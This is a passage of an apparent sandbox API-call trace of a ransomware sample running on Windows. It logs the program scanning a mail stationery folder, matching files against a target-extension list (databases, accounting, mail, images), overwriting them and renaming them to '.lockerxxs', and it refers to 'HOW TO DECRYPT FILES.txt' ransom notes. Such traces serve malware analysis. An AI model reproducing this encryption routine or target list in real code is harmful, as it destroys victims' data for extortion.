dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce17c0b0, dwHighDateTime=0x1ca040d)) returned 1 [0085.325] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.325] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc7, lpOverlapped=0x0) returned 1 [0085.326] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned="Shades of Blue.htm" [0085.326] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.326] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc7, lpOverlapped=0x0) returned 1 [0085.327] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.327] CloseHandle (hObject=0x98) returned 1 [0085.327] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.lockerxxs")) returned 1 [0085.328] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x1c00031f, dwReserved1=0x4e00c4, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1 [0085.328] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.328] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ShadesOfBlue.jpg") returned -1 [0085.328] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ShadesOfBlue.jpg") returned -1 [0085.328] lstrcmpiA (lpString1="", lpString2="ShadesOfBlue.jpg") returned -1 [0085.328] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned="Shades of Blue.htm" [0085.328] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.328] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.328] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.328] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.328] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="ShadesOfBlue.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" [0085.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.ems") returned 0 [0085.328] lstrlenA (lpString="*.ems") returned 5 [0085.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.db") returned 0 [0085.328] lstrlenA (lpString="*.db") returned 4 [0085.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.dbf") returned 0 [0085.328] lstrlenA (lpString="*.dbf") returned 5 [0085.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.myox") returned 0 [0085.328] lstrlenA (lpString="*.myox") returned 6 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.myo") returned 0 [0085.329] lstrlenA (lpString="*.myo") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qbw") returned 0 [0085.329] lstrlenA (lpString="*.qbw") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qbb") returned 0 [0085.329] lstrlenA (lpString="*.qbb") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qbm") returned 0 [0085.329] lstrlenA (lpString="*.qbm") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qbo") returned 0 [0085.329] lstrlenA (lpString="*.qbo") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qbx") returned 0 [0085.329] lstrlenA (lpString="*.qbx") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qba") returned 0 [0085.329] lstrlenA (lpString="*.qba") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qby") returned 0 [0085.329] lstrlenA (lpString="*.qby") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qbj") returned 0 [0085.329] lstrlenA (lpString="*.qbj") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.ofx") returned 0 [0085.329] lstrlenA (lpString="*.ofx") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.qif") returned 0 [0085.329] lstrlenA (lpString="*.qif") returned 5 [0085.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.mye") returned 0 [0085.330] lstrlenA (lpString="*.mye") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.mbox") returned 0 [0085.330] lstrlenA (lpString="*.mbox") returned 6 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.eml") returned 0 [0085.330] lstrlenA (lpString="*.eml") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.pst") returned 0 [0085.330] lstrlenA (lpString="*.pst") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.ost") returned 0 [0085.330] lstrlenA (lpString="*.ost") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.idx") returned 0 [0085.330] lstrlenA (lpString="*.idx") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.dbx") returned 0 [0085.330] lstrlenA (lpString="*.dbx") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.sql") returned 0 [0085.330] lstrlenA (lpString="*.sql") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.mdb") returned 0 [0085.330] lstrlenA (lpString="*.mdb") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.fdb") returned 0 [0085.330] lstrlenA (lpString="*.fdb") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.wab") returned 0 [0085.330] lstrlenA (lpString="*.wab") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.dat") returned 0 [0085.330] lstrlenA (lpString="*.dat") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.txt") returned 0 [0085.330] lstrlenA (lpString="*.txt") returned 5 [0085.330] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.jpeg") returned 0 [0085.331] lstrlenA (lpString="*.jpeg") returned 6 [0085.331] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.jpg") returned 1 [0085.331] lstrlenA (lpString="*.jpg") returned 5 [0085.331] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" [0085.331] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" [0085.331] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg." [0085.331] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.lockerxxs" [0085.331] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.332] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x127e [0085.332] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28f3aae0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28f3aae0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa58d6e3, dwHighDateTime=0x1c9ea0c)) returned 1 [0085.332] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.332] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1258, lpOverlapped=0x0) returned 1 [0085.334] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg" [0085.334] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.334] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1258, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1258, lpOverlapped=0x0) returned 1 [0085.334] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.334] CloseHandle (hObject=0x98) returned 1 [0085.335] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.lockerxxs")) returned 1 [0085.335] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x23000320, dwReserved1=0x4e00c4, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1 [0085.335] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.335] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Soft Blue.htm") returned -1 [0085.335] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Soft Blue.htm") returned -1 [0085.335] lstrcmpiA (lpString1="", lpString2="Soft Blue.htm") returned -1 [0085.335] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg" [0085.336] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.336] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.336] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.336] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.336] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Soft Blue.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" [0085.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.ems") returned 0 [0085.336] lstrlenA (lpString="*.ems") returned 5 [0085.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.db") returned 0 [0085.336] lstrlenA (lpString="*.db") returned 4 [0085.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.dbf") returned 0 [0085.336] lstrlenA (lpString="*.dbf") returned 5 [0085.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.myox") returned 0 [0085.336] lstrlenA (lpString="*.myox") returned 6 [0085.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.myo") returned 0 [0085.336] lstrlenA (lpString="*.myo") returned 5 [0085.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qbw") returned 0 [0085.336] lstrlenA (lpString="*.qbw") returned 5 [0085.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qbb") returned 0 [0085.336] lstrlenA (lpString="*.qbb") returned 5 [0085.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qbm") returned 0 [0085.337] lstrlenA (lpString="*.qbm") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qbo") returned 0 [0085.337] lstrlenA (lpString="*.qbo") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qbx") returned 0 [0085.337] lstrlenA (lpString="*.qbx") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qba") returned 0 [0085.337] lstrlenA (lpString="*.qba") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qby") returned 0 [0085.337] lstrlenA (lpString="*.qby") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qbj") returned 0 [0085.337] lstrlenA (lpString="*.qbj") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.ofx") returned 0 [0085.337] lstrlenA (lpString="*.ofx") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.qif") returned 0 [0085.337] lstrlenA (lpString="*.qif") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.mye") returned 0 [0085.337] lstrlenA (lpString="*.mye") returned 5 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.mbox") returned 0 [0085.337] lstrlenA (lpString="*.mbox") returned 6 [0085.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.eml") returned 0 [0085.337] lstrlenA (lpString="*.eml") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.pst") returned 0 [0085.338] lstrlenA (lpString="*.pst") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.ost") returned 0 [0085.338] lstrlenA (lpString="*.ost") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.idx") returned 0 [0085.338] lstrlenA (lpString="*.idx") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.dbx") returned 0 [0085.338] lstrlenA (lpString="*.dbx") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.sql") returned 0 [0085.338] lstrlenA (lpString="*.sql") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.mdb") returned 0 [0085.338] lstrlenA (lpString="*.mdb") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.fdb") returned 0 [0085.338] lstrlenA (lpString="*.fdb") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.wab") returned 0 [0085.338] lstrlenA (lpString="*.wab") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.dat") returned 0 [0085.338] lstrlenA (lpString="*.dat") returned 5 [0085.338] PathMatchSpecA 